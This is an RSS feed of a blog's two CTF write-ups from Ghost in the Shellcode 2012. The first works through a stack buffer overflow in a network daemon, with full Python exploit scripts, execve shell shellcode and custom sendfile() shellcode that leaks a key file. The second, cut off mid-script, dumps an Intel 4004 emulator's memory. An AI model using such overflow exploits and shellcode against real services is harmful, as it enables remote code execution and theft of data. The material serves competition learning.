<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>codezen.fr</title>
	<atom:link href="http://codezen.fr/feed/" rel="self" type="application/rss+xml" />
	<link>http://codezen.fr</link>
	<description>code hacking, zen coding</description>
	<lastBuildDate>Sun, 29 Jan 2012 20:39:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>GiTS 2012 KimJongUnd Write-Up</title>
		<link>http://codezen.fr/2012/01/29/gits-2012-kimjongund-write-up/</link>
		<comments>http://codezen.fr/2012/01/29/gits-2012-kimjongund-write-up/#comments</comments>
		<pubDate>Sun, 29 Jan 2012 20:13:30 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[gits2012]]></category>
		<category><![CDATA[shellcode exploit overflow]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=64</guid>
		<description><![CDATA[Stage 13 Question: KimJongUnd We lost many time on this exploitation challenge for many reasons. The vulnerability is when you input the command line after the password, there is a buffer overflow and you can control EIP. Our buffer is on the stack so we spend some time finding a nice ROP gadget like this [...]]]></description>
			<content:encoded><![CDATA[<h2 id="q-stage">Stage 13</h2>
<h3 id="q-name">Question: KimJongUnd</h3>
<p>We lost many time on this exploitation challenge for many reasons.</p>
<p>The vulnerability is when you input the command line after the password, there is a buffer overflow and you can control EIP.</p>
<p>Our buffer is on the stack so we spend some time finding a nice ROP gadget like this one:</p>
<pre>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">.text:08048850 55 push ebp<br />
.text:08048851 89 E5 mov ebp, esp<br />
.text:08048853 FF E4 jmp esp</div></div>
</pre>
<pre>We have around 50 bytes available. Since we are in a forked daemon using socket we will first go for a shellcode that will read the command from the socket and output back to the socket.</pre>
<pre></pre>
<div class="codecolorer-container python default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">!=</span> <span style="color: #ff4500;">3</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>Usage:<span style="color: #000099; font-weight: bold;">\t</span>./kim.py [host] [port]'</span><br />
&nbsp; <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
<br />
host <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><br />
port <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
<br />
s <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># Creating Socket</span><br />
s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host<span style="color: #66cc66;">,</span> port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># Connecting to socket</span><br />
crash &nbsp;<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>90'</span> * <span style="color: #ff4500;">524</span><br />
crash +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>88<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>08'</span><br />
<br />
crash +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>b3<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>3f<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>80<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>80<span style="color: #000099; font-weight: bold;">\x</span>f9<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>f5'</span><br />
crash +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>0b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>99<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>e3<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>e1<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>80'</span><br />
<br />
crash +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot; &nbsp; &nbsp; &nbsp; &nbsp;exec cat key<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><br />
<br />
crash +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>01'</span> * <span style="color: #ff4500;">300</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># NOP Sled 25 bytes</span><br />
<br />
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'HansBrix!!!<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'%s<span style="color: #000099; font-weight: bold;">\n</span>'</span> %crash<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #808080; font-style: italic;"># Sending Evil buffer (ShellCode)</span><br />
<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #ff4500;">1</span>:<br />
&nbsp; &nbsp; line <span style="color: #66cc66;">=</span> s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4096</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> line:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Received'</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">repr</span><span style="color: black;">&#40;</span>line<span style="color: black;">&#41;</span><br />
s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></div></div>
<p>But this is a decoy... after investigating, a mount -o bind has been done after the daemon has been started and is obscuring the true content of the key.</p>
<p>So this solve this challenge, we need to notice that, at start, the daemon open a file description to the key. This file descriptor relates to the true key file and is stored in a very convenient global variable.</p>
<pre>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">.text:08048B67 8B 5D 08 mov ebx, [ebp+fd]<br />
.text:08048B6A C7 44 24 04 00 00 00 00 mov dword ptr [esp+4], 0 ; oflag<br />
.text:08048B72 C7 04 24 11 90 04 08 mov dword ptr [esp], offset file ; &quot;/home/kimjongun/key&quot;<br />
.text:08048B79 E8 6E FA FF FF call _open</div></div>
</pre>
<pre>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">.bss:0804B0A4 ; int fd<br />
.bss:0804B0A4 ?? ?? ?? ?? fd dd ? ; DATA XREF: sub_8048860+1Cr</div></div>
</pre>
<pre>Where to send the content of this file ? To the open socket of course, which is in a global variable as well:</pre>
<pre>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">.bss:0804B0A0 ?? ?? ?? ??                                     dword_804B0A0   dd ?                    ; DATA XREF: sub_8048B60+2Dw</div></div>
</pre>
<pre>Given the limited space available, I went with a custom shellcode using the kernel syscall sendfile():</pre>
<pre>
<div class="codecolorer-container asm default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="asm codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">SECTION</span> <span style="color: #339933;">.</span>text<span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #000000; font-weight: bold;">global</span> _start<br />
<br />
&nbsp;<span style="color: #00007f; font-weight: bold;">jmp</span> <span style="color: #000000; font-weight: bold;">short</span> ender<br />
<br />
_start<span style="color: #339933;">:</span><br />
&nbsp;<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">;clean up the registers</span><br />
<br />
&nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span><br />
&nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0xbb</span> <span style="color: #666666; font-style: italic;">; sendfile() syscall</span><br />
&nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0x804B0A0</span><span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; out-fd</span><br />
&nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0x804B0A4</span><span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; in-fd</span><br />
&nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; *offset</span><br />
&nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">256</span> <span style="color: #666666; font-style: italic;">; size</span><br />
&nbsp;<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span><br />
<br />
&nbsp;<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span><br />
&nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1</span> <span style="color: #666666; font-style: italic;">;exit the shellcode</span><br />
&nbsp;<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebx</span><br />
&nbsp;<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span><br />
ender<span style="color: #339933;">:</span><br />
&nbsp;<span style="color: #00007f; font-weight: bold;">call</span> _start<br />
&nbsp;<span style="color: #000000; font-weight: bold;">dd</span> <span style="color: #0000ff;">0</span></div></div>
</pre>
<pre>A little trick, we need to ask sendfile() to start from offset 0 of the file, otherwise it will only work the first time.</pre>
<pre>Python code to send payload:</pre>
<pre></pre>
<div class="codecolorer-container python default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">!=</span> <span style="color: #ff4500;">3</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>Usage:<span style="color: #000099; font-weight: bold;">\t</span>./kim.py [host] [port]'</span><br />
&nbsp; <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
<br />
host <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><br />
port <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
<br />
s <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># Creating Socket</span><br />
s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host<span style="color: #66cc66;">,</span> port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># Connecting to socket</span><br />
crash &nbsp;<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>90'</span> * <span style="color: #ff4500;">524</span><br />
crash +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>88<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>08'</span><br />
<br />
crash +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>b0<span style="color: #000099; font-weight: bold;">\x</span>bb<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>a0<span style="color: #000099; font-weight: bold;">\x</span>b0<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>08<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>1d<span style="color: #000099; font-weight: bold;">\x</span>a4<span style="color: #000099; font-weight: bold;">\x</span>b0<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>08<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>e2<span style="color: #000099; font-weight: bold;">\x</span>be<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>80<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>b0<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>80<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>d7<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00'</span><br />
<br />
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'HansBrix!!!<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'%s<span style="color: #000099; font-weight: bold;">\n</span>'</span> %crash<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #808080; font-style: italic;"># Sending Evil buffer (ShellCode)</span><br />
<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #ff4500;">1</span>:<br />
&nbsp; &nbsp; line <span style="color: #66cc66;">=</span> s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4096</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> line:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Received'</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">repr</span><span style="color: black;">&#40;</span>line<span style="color: black;">&#41;</span><br />
s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></div></div>
<p>Result:</p>
<pre>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ python kim4.py kimjongun.final2012.ghostintheshellcode.com 2645<br />
Received 'Password: '<br />
Received 'Welcome shitty wok, may a taka oda prez?\n'<br />
Received 'Goddamn Mongorians! Quit breakin down my shitty wall!!!\n!All_Hail_Fearress_Reader!\n'</div></div>
</pre>
<pre>Key: !All_Hail_Fearress_Reader!</pre>
<pre></pre>
<pre></pre>
]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2012/01/29/gits-2012-kimjongund-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GiTS 2012 In-memory 4004 Write-up</title>
		<link>http://codezen.fr/2012/01/29/gits-2012-in-memory-4004-write-up/</link>
		<comments>http://codezen.fr/2012/01/29/gits-2012-in-memory-4004-write-up/#comments</comments>
		<pubDate>Sun, 29 Jan 2012 19:21:17 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[gits2012]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=60</guid>
		<description><![CDATA[In this challenge, we have connect to a service running on port 4004 : $ nc inmemory.final2012.ghostintheshellcode.com 4004 Written in memory of a great microprocessor. Waiting for program... Too slow! great microprocessor.. port 4004.. waiting for program... Could this be an Intel 4004 emulator ? Checking the documentation for the Intel 4004 we see it [...]]]></description>
			<content:encoded><![CDATA[<p>In this challenge, we have connect to a service running on port 4004 :</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ nc inmemory.final2012.ghostintheshellcode.com <span style="color: #000000;">4004</span><br />
Written <span style="color: #000000; font-weight: bold;">in</span> memory of a great microprocessor.<br />
Waiting <span style="color: #000000; font-weight: bold;">for</span> program...<br />
Too slow<span style="color: #000000; font-weight: bold;">!</span></div></div>
<pre>great microprocessor.. port 4004.. waiting for program... Could this be an Intel 4004 emulator ?</pre>
<pre>Checking the documentation for the Intel 4004 we see it had a 4096 bytes PROM so we send 4096 bytes down the down and indeed:</pre>
<pre></pre>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Written <span style="color: #000000; font-weight: bold;">in</span> memory of a great microprocessor<br />
Waiting <span style="color: #000000; font-weight: bold;">for</span> program...<br />
Loading program onto PROM...<br />
Executing program...<br />
Cycle limit reached<span style="color: #000000; font-weight: bold;">!</span><br />
Exiting...</div></div>
<pre>In-memory.. so it probably means the key is in the memory of the emulator. We use <a href="http://e4004.szyc.org/">http://e4004.szyc.org/</a> a lot to design some code that will scan all the memory and send it to the ROM port.</pre>
<pre>Intel 4004 code:</pre>
<pre></pre>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">init<br />
&nbsp; &nbsp; &nbsp; &nbsp; LDM 0<br />
&nbsp; &nbsp; &nbsp; &nbsp; DCL<br />
&nbsp; FIM R0R1, 0 &nbsp; &nbsp;; initialize R0=R1=0<br />
&nbsp; FIM R2R3, 0 &nbsp; &nbsp;; initialize R2=R3=0<br />
&nbsp; LDM 12 &nbsp; &nbsp; &nbsp; &nbsp; ; load 12 to accumulator<br />
&nbsp; XCH R2 &nbsp; &nbsp; &nbsp; &nbsp; ; initialize R2=12<br />
loop1<br />
&nbsp; SRC R0R1 &nbsp; &nbsp; &nbsp; ; select register &amp;amp; address<br />
&nbsp; &nbsp; &nbsp; &nbsp; RDM &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; load accumulator from RAM<br />
&nbsp; WRR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; write accumulator to ROM port<br />
&nbsp; ISZ R1, loop1 &nbsp;; loop 16 times<br />
&nbsp; &nbsp; &nbsp; &nbsp; ISZ R0, loop1<br />
&nbsp; ISZ R2, loop1 &nbsp;; loop 4 times</div></div>
<pre>We use the assembler on the website to get the object code and we send this using a simple python program:</pre>
<pre>
<div class="codecolorer-container python default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span><br />
<br />
<span style="color: #808080; font-style: italic;"># aXs ^ Big-Daddy</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">!=</span> <span style="color: #ff4500;">3</span>:<br />
&nbsp;<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>Usage:<span style="color: #000099; font-weight: bold;">\t</span>./inmemory.py [host] [port]'</span><br />
&nbsp;<span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
<br />
host <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><br />
port <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
<br />
